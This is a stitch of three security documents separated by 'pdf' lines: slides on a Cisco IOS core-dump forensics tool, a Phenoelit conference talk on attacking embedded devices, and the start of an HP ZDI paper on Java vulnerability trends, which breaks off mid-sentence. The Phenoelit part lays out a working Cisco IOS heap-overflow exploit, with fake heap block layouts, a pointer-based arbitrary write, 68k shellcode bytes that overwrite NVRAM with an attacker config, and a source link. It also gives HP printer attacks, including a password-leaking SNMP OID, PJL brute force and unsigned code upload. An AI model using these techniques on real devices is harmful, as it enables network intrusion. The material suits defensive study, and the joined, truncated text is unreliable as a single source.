Analyzing Core Dumps Disclaimer: Any of the following methods can be implemented in whatever your preferred programming language is. This presentation will be centric to our implementation: Recurity Labs CIR. Core Dump Analyzer Requirements Must be 100% independent No Cisco code No disassembly based analysis Must gradually recover abstraction No assumptions about anything Ability to cope with massively corrupted data Should not be exploitable itself Preferably not written in C The Image Blueprint The IOS image (ELF file) contains all required information about the memory mapping on the router. The image serves as the memory layout blueprint, to be applied to the core files We wish it were as easy as it sounds Using a known-to-be-good image also allows verification of the code and read-only data segments Now we can easily and reliably detect runtime patched images Heap Reconstruction IOS uses one large heap The IOS heap contains plenty of meta-data for debugging purposes 40 bytes overhead per heap block in IOS up to 12.3 48 bytes overhead per heap block in IOS 12.4 Reconstructing the entire heap allows extensive integrity and validity checks Exceeding by far the on-board checks IOS performs during runtime Showing a number of things that would have liked to stay hidden in the shadows Heap Verification Full functionality of “CheckHeaps” Verify the integrity of the allocated and free heap block doubly linked lists Find holes in addressable heap Invisible to CheckHeaps Identify heap overflow footprints Values not verified by CheckHeaps Heuristics on rarely used fields Map heap blocks to referencing processes Identify formerly allocated heap blocks Catches memory usage peaks from the recent past Process List Extraction of the IOS Process List Identify the processes’ stack block Create individual, per process back-traces Identify return address overwrites Obtain the processes’ scheduling state Obtain the processes’ CPU usage history Obtain the processes’ CPU context Almost any post mortem analysis method known can be applied, given the two reconstructed data structures. TCL Backdoor Detection TCL scripting is available on later Cisco IOS versions TCL scripts listening on TCP sockets Well known method Used to simplify automated administration Used to silently keep privileged access to routers Known bug: not terminated when the VTY session ends (fixed) Simple TCL backdoor scripts published CIR can extract all TCP script chunks from IOS heap and dump them for further analysis There is still some reversing work to do Random Applications Find occasional CPU hogs Detect Heap fragmentation causes Determine what processes where doing Finding attacked processes See examples (Semi-DEMO) Research tool Pointer correlation becomes really easy Essential in a shared memory environment IOS Packet Forwarding Memory IOS performs routing either as: Process switching Fast switching Particle systems Hardware accelerated switching Except hardware switching, all use IO memory IO memory is written as separate code dump By default, about 6% of the router’s memory is dedicated as IO memory In real world installations, it is common to increase the percentage to speed up forwarding Hardware switched packets use PCI memory PCI memory is written as separate core dump IO Memory Buffers Routing (switching) ring buffers are grouped by packet size Small Medium Big Huge Interfaces have their own buffers for locally handled traffic IOS tries really hard to not copy packets around in memory New traffic does not automatically erase older traffic in a linear way Traffic Extraction CIR dumps packets that were process switched by the router from IO memory into a PCAP file Traffic addressed to and from the router itself Traffic that was process switching inspected Access List matching QoS routed traffic CIR could dump packets that were forwarded through the router too Reconstruction of packet fragments possible Is it desirable? Advanced Traffic Extraction Writing core to a remote server uses IO memory Overwrites part of the traffic evidence CIR can use a GDB link instead of a core dump Serial GDB protocol allows direct access to router memory via the console Uses Zynamics GDB debug link Disconnecting all network interfaces preserves IO and PCI memory contents Using GDB halts the router All data is preserved – useful for emergency inspections Traffic Extraction Applications Identification of attack jump pad routers 0day identification against systems on segmented network interfaces If you got the packet, you got the 0day Spoofing attack backtracking One hop at the time, obviously LE detection Reality Check: March’s Vulnerabilities “Cisco IOS Virtual Private Dial-up Network Denial of Service Vulnerability” Memory exhaustion / leak Visible by heap usage analysis “Cisco IOS User Datagram Protocol Delivery Issue For IPv4/IPv6 Dual-stack Routers” “The show interfaces command can be used to view the input queue size to identify a blocked input interface.” CIR could output all the packets that are still in the queue, even allowing source identification “Vulnerability in Cisco IOS with OSPF, MPLS VPN, and Supervisor 32, Supervisor 720, or Route Switch Processor 720” see above Challenges The analysis framework has to handle the complexity of the Cisco IOS landscape Hardware platforms Image versions Any-to-Any relation! CIR is currently IOS feature set independent CIR successfully tested against IOS 12.1 – 12.4 Official support starts with: Cisco 2600 Internal testing already covers: Cisco 1700 Cisco 2691 Cisco 6200 The platform is the major source of work, testing and verification Summary – Part III Writing core dumps is a viable method for obtaining IOS evidence when it is needed. The evidence includes forwarded and received packets. An independent analysis framework can distinguish between bugs and attacks, enabling real forensics on IOS routers. Recurity Labs’ CIR already reliably identifies many types of attacks and IOS backdoors. CIR is work-in-progress CIR’s future depends on the feedback we receive from the community. Availability 1. CIR Online Service (free) 2. CIR Rootkit Detector (free) 3. CIR Professional (non-free) CIR Online An analysis framework’s quality is directly related to the amount of cases it has seen CIR needs a lot more food to grow up We want to provide it to everyone while constantly developing and improving it Free Service: http://cir.recurity-labs.com Processing on our servers Always using the latest version Right now, CIR Online runs in BETA state CIR Rootkit Detector Detection of image modification Detection of runtime code modification Support for all access layer platforms Freely available at http://cir.recurity-labs.com Currently in BETA state At the end, it’s all up to you! We think CIR could be useful For the networking engineer For the forensics professional To finally know the state of our infrastructure We know what we can do We need advise on where you want this tool to be in the future cir.recurity-labs.com Felix ´FX´ Lindner Head [email protected] Recurity Labs GmbH, Berlin, Germany http://www.recurity-labs.com
pdf
Today‘s Session ! Design failures in embedded systems ! Examples of design failures ! Exploiting a design failure ! Software vulnerabilities in embedded systems ! Examples software vulnerabilities ! Exploiting a common embedded system Design failures ! Undocumented functionality ! Developer backdoors ! Auto-something features ! Legacy functions ! Ignored standards ! Uncontrolled increase of complexity ! New subsystems ! Additional access methods ! Inconsistent access restrictions Design failures Case 1: Lucent Brick ! Layer 2 Firewall running Inferno OS ! ARP cache design failures ! ARP cache does not time out ! ARP reply poisoning of firewall ! ARP forwarded regardless of firewall rules LSMS Management Server DMZ ARP reply with LSMS IP Design failures Case 2: Ascend Router ! Undocumented discovery protocol ! Special packet format to UDP discard port ! Leaks information remotely ! IP address/Netmask ! MAC address ! Serial number ! Device type ! Features ! Can set IP address using SNMP write community Exploiting a design failure: Exploiting a design failure: HP Printers HP Printers ! Various access methods: ! Telnet,HTTP,FTP,SNMP,PJL ! Various access restrictions ! Admin password on HTTP and Telnet ! IP access restriction on FTP, PJL, Telnet ! PJL security password ! Inconsistent access restriction interworkings ! SNMP read reveals admin password in hex at .iso.3.6.1.4.1.11.2.3.9.4.2.1.3.9.1.1.0 ! HTTP interface can be used to disable other restrictions (username: laserjet) HP Printers: PJL ! PJL (Port 9100) allows access to printer configuration ! Number of copies, size, etc. ! Locking panel ! Input and output trays ! Eco mode and Power save ! I/O Buffer ! Security relies on PJL password ! key space of 65535. ! max. 6 hours for remote brute force HP Printers: PJL ! PJL (Port 9100) allows access to printer file systems on DRAM and FLASH ! Spool directory contains jobs ! PCL macros on printer ! More file system content (later models) ! Firmware ! Web server content ! Subsystem configuration ! Printer can be used as PJL-based file server Phenoelit vs. PJL: PFT ! Tool for direct PJL communication ! Reading, modifying and writing environment variables ! Full filesystem access ! Changing display messages ! PJL „security“ removal ! Available for Linux and Windows including libPJL for both platforms ! Windows GUI version „Hijetter“ by FtR ! ... and of course it‘s open source HP Printers: ChaiVM [1] ! ChaiVM is a Java Virtual Machine for embedded systems ! HP Printers 9000, 4100 and 4550 are officially supported. ! HP 8150 also runs it. ! ChaiVM on printers comes completely with web server, static files and objects. ! Everything lives on the printer‘s file system. „In 2001 alone, millions of information appliances will ship with the capability to deliver rich, powerful and dynamic services via the World Wide Web. These appliances are powered by HP Chai embedded software.“ HP Printers: ChaiVM [2] ! Chai standard loader service ! http://device_ip/hp/device/this.loader ! Loader is supposed to validate JAR signature from HP to ensure security ! HP released new EZloader ! HP signed JAR ! No signatures required for upload ! Adding services via printer file system access to 0:\default\csconfig ! HP Java classes, documentation and tutorials available HP Printers: ChaiVM [3] ! Getting code on the printer Printer Flash file system 0:\default\csconfig http://1.2.3.4/hp/ device/this.loader Upload class files And new csconfig http://1.2.3.4/hp/ device/hp.ez Upload EZloader Upload your JAR HP Printers: ChaiVM [4] ! ChaiVM is quite instable ! Too many threads kill printer ! Connect() to unreachable hosts or closed port kills VM ! Not always throws Exceptions ! Huge differences between simulation environment and real-world printers ! Unavailability of all instances of a service kills VM ! To reset printer use SNMP set: .iso.3.6.1.2.1.43.5.1.1.3.1 = 4 HP Printers: Things you can do... ! Phenoelit ChaiPortScan ! Web based port scanner daemon for HP Printers with fixed firmware ! Phenoelit ChaiCrack ! Web based crypt() cracking tool for HP Printers ! Backdoor servers ! Binding and listening is allowed ! Chai services have access to authentication ! Anything is possible (but who wants to code in Java anyway?) HP Printers: ChaiVM [5] ! ChaiServices are fully trusted between each other ! ChaiAPNP service supports Service Location Protocol (SLP) ! find other devices and services ! Notifier service can notify you by HTTP or Email of „interesting events“ ! ChaiOpenView enables ChaiVM configuration via SNMP ! ChaiMail service is „designed to work across firewalls“. ! Issue commands to your Chai service via Email! Software Vulnerabilities ! Classic mistakes are also made on embedded systems ! Input validation ! Format strings ! Buffer overflows ! Cross Site Scripting ! Most embedded HTTP daemons vulnerable ! Limited resources lead to removal of sanity checks Buffer overflows ! Xedia Router (now Lucent Access Point) ! long URL in HTTP GET request crashes router ! Brother Network Printer (NC-3100h) ! Password variable in HTTP GET request with 136 chars crashes printer ! HP ProCurve Switch ! SNMP set with 85 chars in .iso.3.6.1.4.1.11.2.36.1.1.2.1.0 crashes switch ! SEH IC-9 Pocket Print Server ! Password variable in HTTP GET request with 300 chars crashes device Common misconceptions ! Embedded systems are harder to exploit than multipurpose OS’s ! Since there is no shell, you can not create useful shell code ! Unknown addressing and elements make it nearly impossible to write exploits ! The worst thing that can happen is a device crash or reboot Proving it wrong: A Cisco IOS Exploit ! The Goal: Exploiting an overflow condition in Cisco Systems IOS to take over the Router. ! Things to keep in mind: ! The process you crash is tightly integrated into the OS, so you probably crash the OS as well ! Cisco uses a variety of different platforms, so try to find a generic way of doing it ! IOS is closed source IOS Exploit: Step 1 ! According to Cisco*, memory corruption is the most common bug in IOS. ! Assumption: We are dealing with heap overflows ! Vulnerability for research: Buffer overflow in IOS (11.1.x – 11.3.x) TFTP server for long file names %SYS-3-OVERRUN: Block overrun at 20F1680 (red zone 41414141) %SYS-6-BLKINFO: Corrupted redzone blk 20F1680, words 2446,alloc 80F10A6,InUse,dealloc 0,rfcnt 1 * http://www.cisco.com/warp/public/122/crashes_swforced_troubleshooting.html IOS Exploit: Step 2 Taking it apart ! Understanding memory layout without reverse engineering IOS ! Correlating debug output and mem dumps ! Troubleshooting pages at cisco.com 0x20F1680: 0xAB1234CD 0x2 0x2059C9C 0x81A3022 0x20F1690: 0x80F10A6 0x20F29C4 0x20F0350 0x8000098E 0x20F16A0: 0x1 0x80F1A52 0x0 0x0 Block MAGIC NEXT Memory Block PID Previous Memory Block Size with usage Bit 31 IOS Exploit: Step 3 Memory Maps ! So which memory areas are used for what? Asking Cisco at: www.cisco.com/warp/public/112/appB.html ! Validate these using IOS commands on the systems NVRAM Code Data Model 0x67000000 0x80000000 0x80000000 2600 0x02000000 0x03000000 0x00000000 2500 0x0E000000 0x08000000 0x02000000 1600 0x0E000000 0x02000000 0x02000000 1005 IOS Exploit: Step 4 Putting it together MAGIC PID RAM Address Code Address Code Address NEXT ptr PREV ptr Size + Usage mostly 0x01 REDZONE 0xAB1234CD unknown String ptr for ‚show mem alloc‘ unknown rfcnt (may be „reference count“ ?) 0xFD0110DF IOS Exploit: Step 5 Theory of the overflow ! Filling the „host block“ ! Overwriting the following block header – hereby creating a „fake block“ ! Let IOS memory management use the fake block information ! Desired result: Writing to arbitrary memory locations Host block Header Next block Header Data Data Fake Header IOS Exploit: Step 6 A free() on IOS Host block NEXT2 PREV2 Next block NEXT3 PREV3 Previous block NEXT1 PREV1 ! Double linked pointer list of memory blocks ! Upon free(), an element of the list is removed ! Pointer exchange operation, much like on Linux or Windows Host->prev=next2; (Host->next2)+prevofs=prev2; delete(Host_block); IOS Exploit: Step 7 The requirements MAGIC PID RAM Address Code Address Code Address NEXT ptr PREV ptr Size + Usage mostly 0x01 REDZONE ! MAGIC is required ! PREV ptr has to be correct ! Size and Usage bit have to be correct ! The PID, these 3 pointers (wasting 12 bytes) and the NEXT ptr dont have to be correct ! „Check heaps“ process validates MAGIC and REDZONE ! Therefore: Performing an overflow up to the NEXT ptr is possible. IOS Exploit: Step 8 Taking the first: 2500 0xAB1234CD 0xFFFFFFFE 0xCAFECAFE 0xCAFECAFE 0xCAFECAFE 0x02000000 0xFD0110DF ! Cisco 2500 allows anyone to write the the NVRAM memory area ! Since NEXT ptr is not checked, we can put 0x02000000 (NVRAM) in there ! The 0x00 bytes don‘t get written because we are doing a string overflow here ! The pointer exchange leads to a write to NVRAM and invalidates it (checksum error) Overflow AAA... ...AAAA IOS Exploit: Step 8 [2] Taking the first: 2500 ! NVRAM gets invalidated by exploit ! Device reboots after discovering issue in memory management („Check heaps“ process) ! Boot without valid config leads to BOOTP request and TFTP config retrieval ! Result: Attacker provides config (1) Exploit (3) Bootp / TFTP (2) Reboot (4) New config IOS Exploit: Step 8 [3] Review of the Attack ! Disadvantages ! Attack only works because NVRAM is always writeable (only on 2500) ! Attacker has to be in the same subnet to provide config ! Advantages ! No specific knowledge required ! No limitations for new config IOS Exploit: Step 9 Getting around PREV ! PREV ptr is checked while the previous block is inspected before the free() ! Test seems to be: if (next_block->prev!=this_block+20) abort(); ! Perform uncontrolled overflow to cause device reboot ! Proves the device is vulnerable ! Puts memory in a predictable state ! Crash information can be obtained from network or syslog host if logged (contains PREV ptr address) IOS Exploit: Step 10 The Size field ! Size field in block header is checked ! Bit 31 marks „block in use“ ! Usual values such as 0x800000AB are not possible because of 0x00 bytes ! Minimum size we could fake is 0x80010101 = 65793, which is way to much ! Solution: 0x7FFFFFFF Loops in calculation due to the use of 32bit fields IOS Exploit: Step 11 More memory pointers ! Free memory blocks carry additional management information ! Information is probably used to build linked list of free memory blocks ! Functionality of FREE NEXT and FREE PREV comparable to NEXT and PREV MAGIC Code Address FREE NEXT FREE PREV Size + Usage mostly 0x01 Padding MAGIC2 (FREE) Padding Padding IOS Exploit: Step 12 Arbitrary Memory write ! FREE NEXT and FREE PREV are not checked ! Pointer exchange takes place ! Using 0x7FFFFFFF in the size field, we can mark the fake block „free“ ! Both pointers have to point to writeable memory MAGIC Code Address FREE NEXT FREE PREV Size + Usage mostly 0x01 Padding MAGIC2 (FREE) Padding Padding *free_prev=*free_next; *(free_next+20)=*free_prev; IOS Exploit: Step 13 Places for pointers ! ‚show mem proc alloc‘ shows a „Process Array“ ! Array contains addresses of process information records indexed by PID ! Process information record‘s second field is current stack pointer ! All of these are static addresses per IOS image Process Array Process Stack Process Record IOS Exploit: Step 14 Taking the Processor ! On the 1000 and 1600 series, the stack of any process is accessible for write operations by our free pointer game ! The first element on the stack of a inactive process is usually the saved SP (C calling convention) ! The second element is the saved return address 02057EC0: 02057EE4 080D63D4 02057ED0: 02042E0C 02057FF6 00000000 00000000 02057EE0: 00000000 02057EF0 080DE486 00001388 IOS Exploit: Step 14 [2] Taking the Processor ! Writing a new stack pointer (pointing into a controlled buffer) provides multiple possibilities for PC redirection ! Writing a new return address is smarter – but works only once 02057EC0: 02057EE4 080D63D4 02057ED0: 02042E0C 02057FF6 00000000 00000000 02057EE0: 00000000 02057EF0 080DE486 00001388 IOS Exploit: Step 15 The Buffer ! A free() on IOS actually clears the memory (overwrites it with 0x0D) ! Buffer after fake block is considered already clean and can be used for exploitation ! Position of the buffer relative to PREV ptr is static per platform/IOS Host block Header Next block Header Data Data Fake Header Exploit Buffer 0x0D0D0D0D 0x0D0D0D0D IOS Exploit: Step 16 The shell code – V1 ! Example based on Cisco 1600 ! Motorola 68360 QUICC CPU ! Memory protection is set in the registers at 0x0FF01000 ! Disabling memory protection for NVRAM address by modifying the second bit of the appropriate QUICC BaseRegister (See MC68360UM, Page 6-70) ! Write invalid value to NVRAM ! Device reboots and asks for config IOS Exploit: Step 16 [2] The shell code – V1 ! Simple code to invalidate NVRAM (Sorry, we are not @home on 68k) ! Dummy move operation to d1, data part of OP code is overwritten on free() ! ADDA trick used to circumvent 0x00 bytes in code \x22\x7C\x0F\xF0\x10\xC2 move.l #0x0FF010C2,%a1 \xE2\xD1 lsr (%a1) \x22\x7C\x0D\xFF\xFF\xFF move.l #0x0DFFFFFF,%a1 \xD2\xFC\x02\xD1 adda.w #0x02D1,%a1 \x22\x3C\x01\x01\x01\x01 move.l #0x01010101,%d1 \x22\xBC\xCA\xFE\xBA\xBE move.l #0xCAFEBABE,(%a1) IOS Exploit: Step 17 The Cisco 1600 Exploit ! Overflow once to get predictable memory layout ! Overflow buffer with ! Fake block and correct PREV ptr ! Size of 0x7FFFFFFF ! FREE NEXT points to code buffer ! FREE PREV points to return address of process „Load Meter“ in stack ! Code to unprotect memory and write into NVRAM IOS Exploit: Step 18 More Information on IOS ! IOS seems to use cooperative multitasking (kind of) ! Interrupt driven execution of critical tasks ! NVRAM contains config plus header ! 16bit checksum ! Size of config in bytes ! NVRAM contains stack trace and other info from last crash ! Config is seen as on big C string, terminated by ‚end‘ and 0x00 bytes IOS Exploit: Step 19 [1] The remote shell code ! Append new minimum config to the overflow ! Disable interrupts to prevent interferences ! Unprotect NVRAM ! Calculate values for NVRAM header ! Write new header and config into NVRAM ! Perform clean hard reset operation on 68360 to prevent stack trace on NVRAM IOS Exploit: Step 19 [2] The remote shell code ! 0x00 byte limitation inconvenient ! Buffer size sufficient for more code and minimum config ! The classic solution: ! Bootstrap code part contains no 0x00 bytes ! Main shell code is XOR encoded 0xD5 (0x55 leads to colon character in config) ! Bootstrap code decodes main code and continues execution there IOS Exploit: Step 19 [3] The remote shell code ! Problem with chip level delays ! NVRAM is on XICOR X68HC64 ! Chip requires address lines being unchanged during a write operation ! Recommended procedure is polling the chips status register – but where is this? ! Solution: Write operation performed with delay loops afterwards IOS Exploit: Step 19 [4] The remote shell code ! Code size including fake block: 282 bytes ! New config can be specified in command line ! Adjustments available from command line ! Full source code available Bootstrap code XORed code New Config Fake block Overflow AAA... ...AAAA http://www.phenoelit.de/ciscoxp/ IOS Exploit: Step 19 [5] The remote shell code "\xFD\x01\x10\xDF" // RED "\xAB\x12\x34\xCD" // MAGIC "\xFF\xFF\xFF\xFF" // PID "\x80\x81\x82\x83" // ? "\x08\x0C\xBB\x76" // NAME "\x80\x8a\x8b\x8c" // ? "\x02\x0F\x2A\x04" // NEXT "\x02\x0F\x16\x94" // PREV "\x7F\xFF\xFF\xFF" // SIZE "\x01\x01\x01\x01" // ref "\xA0\xA0\xA0\xA0" // "\xDE\xAD\xBE\xEF" // MAGIC2 "\x81\x82\x83\x84" // ? "\xFF\xFF\xFF\xFF" // "\xFF\xFF\xFF\xFF" // "\x02\x0F\x2A\x24" // Fnext "\x02\x05\x7E\xCC" // Fprev "\xFD\x01\x10\xDF" // RED "\xAB\x12\x34\xCD" // MAGIC "\xFF\xFF\xFF\xFF" // PID "\x80\x81\x82\x83" // ? "\x08\x0C\xBB\x76" // NAME "\x80\x8a\x8b\x8c" // ? "\x02\x0F\x2A\x04" // NEXT "\x02\x0F\x16\x94" // PREV "\x7F\xFF\xFF\xFF" // SIZE "\x01\x01\x01\x01" // ref "\xA0\xA0\xA0\xA0" // "\xDE\xAD\xBE\xEF" // MAGIC2 "\x81\x82\x83\x84" // ? "\xFF\xFF\xFF\xFF" // "\xFF\xFF\xFF\xFF" // "\x02\x0F\x2A\x24" // Fnext "\x02\x05\x7E\xCC" // Fprev "\x22\x7c\x0f\xf0\x10\xc2„ "\xe2\xd1" "\x47\xfa\x01\x1d" "\x96\xfc\x01\x01" "\xe2\xd3" "\x22\x3c\x01\x01\x01\x01" "\x45\xfa\x01\x17" "\x94\xfc\x01\x01" "\x32\x3c\x55\x55" loop: "\xb3\x5a" "\x0c\x92\xca\xfe\xf0\x0d" brac: "\xcc\x01\xff\xf6" xorc: "\x22\x7c\x0f\xf0\x10\xc2„ "\xe2\xd1" "\x47\xfa\x01\x1d" "\x96\xfc\x01\x01" "\xe2\xd3" "\x22\x3c\x01\x01\x01\x01" "\x45\xfa\x01\x17" "\x94\xfc\x01\x01" "\x32\x3c\x55\x55" loop: "\xb3\x5a" "\x0c\x92\xca\xfe\xf0\x0d" brac: "\xcc\x01\xff\xf6" xorc: IOS Exploit Work to do ! Other exploits ! Finding differences between the exploits ! Smaller buffer size exploitation (external buffer) ! PREV ptr ! Mapping commonly used addresses ! Stabilizing the address ! NVRAM and Config ! Writing to FLASH instead of NVRAM ! Removing stack traces from NVRAM ! Anti-Forensics shell codes IOS Exploit Review ! Cisco 1000 ! Local network and Remote exploit ! Return address to code written directly in exception handler code ! Cisco 1600, Cisco 2600 ! Local network and remote exploit ! Return address to code written to stack ! Cisco 2500 ! Local network via invalid NVRAM ! Remote: no (because of 0x00 bytes) IOS Exploit So what? ! Most IOS heap overflows seem to be exploitable ! Protocol based exploitation ! Debug based exploitation ! Network infrastructure still mostly unprotected ! NVRAM still contains former config after local network exploitation ! Password decryption ! Network structure and routing protocol authentication disclosed IOS Exploit A scenario An attacker ... 1. Exploits a router 2. Builds a tunnel (IPsec) 3. Hides himself 4. ... and gets into the network Internet Office1 Office2 HQ 1600 1600 Company.Net IPsec How to protect ! Do not rely on one type of device for protection ! Consider all your networked equipment vulnerable to the fullest extent ! Employ all possible protection mechanisms a device provides ! Do not ignore equipment because it is small, simple, or has not been exploited in the past. ! Plan your device management as you plan root logins to UNIX systems How to protect HP Specific ! Assign passwords ! Admin password ! SNMP read and write community ! PJL protection (gives you time) ! Allow access to port 9100 on printer only from print servers ! Remove this.loader from the printer (edit /default/csconfig and restart) ! Consider putting your printers behind an IP filter device How to protect Cisco specific ! Have no overflows in IOS ! Keep your IOS up to date ! Do not run unneeded services (TFTP) ! Tell your IDS about it. Signature: \xFD\x01\x10\xDF\xAB\x12\x34\xCD ! debug sanity might stop less experienced attackers ! The hard way: config-register 0x00 ! Perform logging on a separate segment ! Protect your syslog host
pdf
HP Security Research Zero Day Initiative Java Every-Days Exploiting Software Running on 3 Billion Devices Brian Gorenc Manager, Vulnerability Research Jasiel Spelman Security Researcher HP’s Zero Day Initiative would like to thank the following researchers for their submissions over the last three years: Alin Rad Pop Chris Ries [email protected] James Forshaw Anonymous Joshua J. Drake Anonymous Michael Schierl Anonymous Peter Vreugdenhil axtaxt Sami Koivu Ben Murphy Vitaliy Toropov VUPEN Security Also, we would like to thank the following people for providing additional information in support of this paper. Mario Vuksan of Reversing Labs Adam Gowdiak of Security Explorations Java Every-Days: Exploiting Software Running on 3 Billion Devices Introduction HP’s Zero Day Initiative (ZDI), the world’s largest vendor agnostic bug bounty program, experienced a surge in submissions for Oracle’s Java platform in late 2012 and early 2013. It became a fairly regular occurrence for several new 0-day Java vulnerabilities to show up in the queue over a seven-day span. One of the more interesting trends revealed that ZDI researchers were not going after a single vulnerability class. At the time, the industry focused on sandbox bypasses and cases were arriving into the ZDI that took advantage of that weakness, but submissions identifying memory corruption vulnerabilities were still just as common. This prompted the following questions: • What is truly the most common vulnerability type in Java? • What part of the architecture has had the most vulnerabilities reported against it? • What part of the architecture produces the most severe vulnerabilities? • How the vulnerabilities being used in the threat landscape map to the ZDI submissions? • How is Oracle responding to this increased pressure? These questions continued to be discussed internally when exploit kit authors began including several new Java vulnerabilities during the first months of 2013. The targeted attacks against large software vendors and multiple 0- day vulnerabilities demonstrated at Pwn2Own were the final straw. We narrowed the focus for this paper to modern day vulnerabilities and limited the scope to the issues patched between 2011-2013. In total, we performed a root cause analysis on over 120 unique java vulnerabilities including the entire ZDI dataset; major penetration testing tools; and exploit kits on the market today. Also included were six 0-day vulnerabilities that have not yet been patched by Oracle but are part of the ZDI dataset. We reviewed and derived metrics about the threat landscape from a dataset that included 52,000 unique Java malware samples. The ultimate goal of this analysis was to expose the actual attack surface that Oracle’s Java brings to the table by taking an in-depth look at the most common vulnerability types, and examining the specific parts of the attack surface being taken advantage of by attackers. Oracle Java’s Footprint and Software Architecture Oracle, quite famously, highlights the install base of Java via a splash screen during the installation of the product. For the software development community, a 3 billion device install base is a huge milestone. Alternatively for the security community, this is a big red bull’s eye. Java Every-Days: Exploiting Software Running on 3 Billion Devices Pair this with the statistics released from WebSense1 that 93% of the Java install base is not running the latest patch a month after its release, or sometimes even a year later, these numbers become downright scary. With such a broad install base and users running outdated software, the potential return on investment for attackers weaponizing Java vulnerabilities is astronomical. Based on the numbers from Contagio2, exploit kit authors are required to include an average of 2+ Java exploits just to stay competitive with the other kits available on the market. From the development perspective, the Java framework is quite powerful. It includes a large set of built in capabilities to aid in the more complicated development tasks. As you can see in the conceptual diagram3 below, the framework is made up of over fifty sub-components that bring different functionality to the table for developers. This includes capabilities to render a user interface, process complex fonts and graphics, and consume the most common web service protocols. Each sub-component provides a unique set of application programming interfaces (APIs) that a developer can use to quickly extend their application. Figure 1 - Java 7 Conceptual Diagram 1 http://community.websense.com/blogs/securitylabs/archive/2013/06/04/majority-of-users-still-vulnerable-to- java-exploits.aspx 2 http://contagiodump.blogspot.ca/2010/06/overview-of-exploit-packs-update.html 3 http://docs.oracle.com/javase/7/docs/ Java Every-Days: Exploiting Software Running on 3 Billion Devices Applications can be written once and run on a multitude of platforms. Due to these factors, it is no surprise that Java has a wide spread adoption in the development community. Java is quite popular in the financial marketplace and recently made major inroads in the mobile device space. For all of these reasons, the security community has started to focus their efforts on analyzing and auditing this popular application. Vulnerability Trending and Attack Surface Since early 2011, Oracle has patched over 250 remotely exploitable vulnerabilities in Java. These issues range from the classic stack-based buffer overflow to the more complicated sandbox bypass vulnerabilities that require the attacker to chain a series of weaknesses to disable the SecurityManager. Every year the number of vulnerabilities being fixed has increased with just over 50 issues patched in all of 2011 to over 130 in the first half of 2013. Researchers continue to discover new ways to find holes in the various sub-components of Java and bypass the security architecture. Vulnerability Statistics 2011-2013 Oracle Java Patch Statistics Oracle maintains a consistent patch schedule with major security updates released approximately once every 3-4 months. Along with the software update, they release a good amount of metadata for the vulnerabilities being fixed. This includes the CVE tracking identifier, a CVSS score, whether it is remotely exploitable, and the location of the vulnerability in the Java architecture. In the example below, CVE-2013-23834 seems to be a particularly nasty vulnerability in Java’s 2D sub-component. Figure 2 - Oracle Risk Metric This information is useful to application developers when trying to quickly determine whether a particular vulnerability affects a component that their application relies on. It is also extremely useful to security researchers that are looking for the components in the architecture that contain a high number of security-related issues. Researchers can focus their attention on these areas, as they know their work will likely uncover similar issues. 4 http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html Java Every-Days: Exploiting Software Running on 3 Billion Devices Oracle’s patch information over the last three years provides insights into the vulnerabilities being discovered. We observed that only twice in the last three years had a sub-component amassed a double-digit CVE count in a single patch. This anomaly occurred in the Deployment and JavaFX sub-components which had a CVE count of 10 and 12 respectively. Interestingly enough, both of these large fixes occurred in the February 20135 patch release. Oracle has also corrected security vulnerabilities in the 2D and Deployment sub-components in each of the patch releases since the beginning of 2011 (not including the security alert releases). Looking at the last three years of patch information, the following sub-components account for half of the remotely exploitable vulnerabilities in Java: Rank Sub-component Average CVSS 1 Deployment 7.39 2 2D 9.43 3 Libraries 7.24 4 JavaFX 8.83 5 AWT 7.73 Figure 3 - Most Vulnerable Sub-components Ranking these sub-components by the number of unique CVEs, we discover that the Deployment sub-component is the most patched part of the architecture with almost 50 issues. That being said, the 2D sub-component contains the most severe vulnerabilities on average. It could be argued that the 2D sub-component is the worst component in the architecture due to the combination of its ranking and average vulnerability severity. The average CVSS score for a remotely exploitable Java vulnerability is 7.67, which classifies them as High in severity. Almost 50% of the issues fixed by the patches are CVSS 9.0 or higher with over 60 of those occurring in the first half of 2013. If we look at what is being targeted year over year, we see that the security research community was focusing on the following sub-components: Year Most Targeted Sub-components 2011 1. Deployment 2. Sound 3. 2D 2012 1. Deployment 2. 2D and Libraries 3. Beans and JMX 5 http://www.oracle.com/technetwork/topics/security/javacpufeb2013-1841061.html Java Every-Days: Exploiting Software Running on 3 Billion Devices 2013 1. Deployment 2. 2D 3. Libraries Figure 4 - Most Targeted Java Sub-components Zero Day Initiative (ZDI) Submission Trends Many of the researchers working with ZDI take advantage of these statistics and watch for vulnerabilities being patched in specific sub-components. Our researchers typically focus on auditing one or two sub-components and become proficient, yielding new discoveries using a combination of techniques – some mine the patches to understand the weakness pattern and then hunt the attack surface for that pattern. Some simply look for near-by neighbors where Oracle engineers failed to find the same type of issue in the sub-components. Others look for deficiencies in the patch and re-submit those. ZDI’s submission rate for Java vulnerabilities maintained a consistent rate of approximately 5 new vulnerabilities a quarter for the last three years. It is not surprising that the submission rate increased dramatically over the last three quarters with a high of 33 new vulnerabilities in one quarter alone. There are good explanations for this increased activity: • High profile 0-day vulnerabilities drove researchers to look for related issues. • Security Exploration’s research6 highlighting sandbox bypasses due to unsafe reflection Increased submission rates resulted in the largest patches released by Oracle for Java, with over 50 vulnerabilities fixed in the February 2013 patch cycle. Figure 5 - ZDI Submission Rate 6 http://www.security-explorations.com/en/SE-2012-01.html 0 5 10 15 20 25 30 35 Q1 2011 Q2 2011 Q3 2011 Q4 2011 Q1 2012 Q2 2012 Q3 2013 Q4 2012 Q1 2013 Q2 2013 Java Every-Days: Exploiting Software Running on 3 Billion Devices Analyzing the submission trends we observed that the sub-components our researchers were targeting mapped to some of the buggiest parts of the Java architecture. Specifically, our researchers focused on the following sub- components most frequently: 1. 2D 2. Libraries 3. JavaFX 4. Sound 5. Deployment Of particular note, they focus on the sub-components that produce the highest CVSS scores including 2D and JavaFX. Over the last three years, the average CVSS score for a ZDI submission was 9.28 and the researchers working through the program had accounted for 36% of Java’s vulnerabilities with CVSS score of 9.0 or higher. Vulnerability Classes Insights into Vulnerability Classes (CWE) By intersecting publically available vulnerability data with cases submitted to ZDI, we can shed light on what the most popular vulnerability classes are in the Java architecture. Luckily for researchers, the architecture is susceptible to every common software weakness from the classic buffer overflow to command injection. Figure 6 - Common Weaknesses Looking specifically at the CWE-265 class of vulnerabilities researchers discovered several unique ways to gain remote code execution outside of the sandbox. To allow for further detailed analysis, we applied a set of sub- categories (CWE-470 Unsafe Reflection, CWE-272 Least Privilege Violation, and CWE-843 Type Confusion) to these vulnerabilities. CWE-470 sub-category was assigned to vulnerabilities that 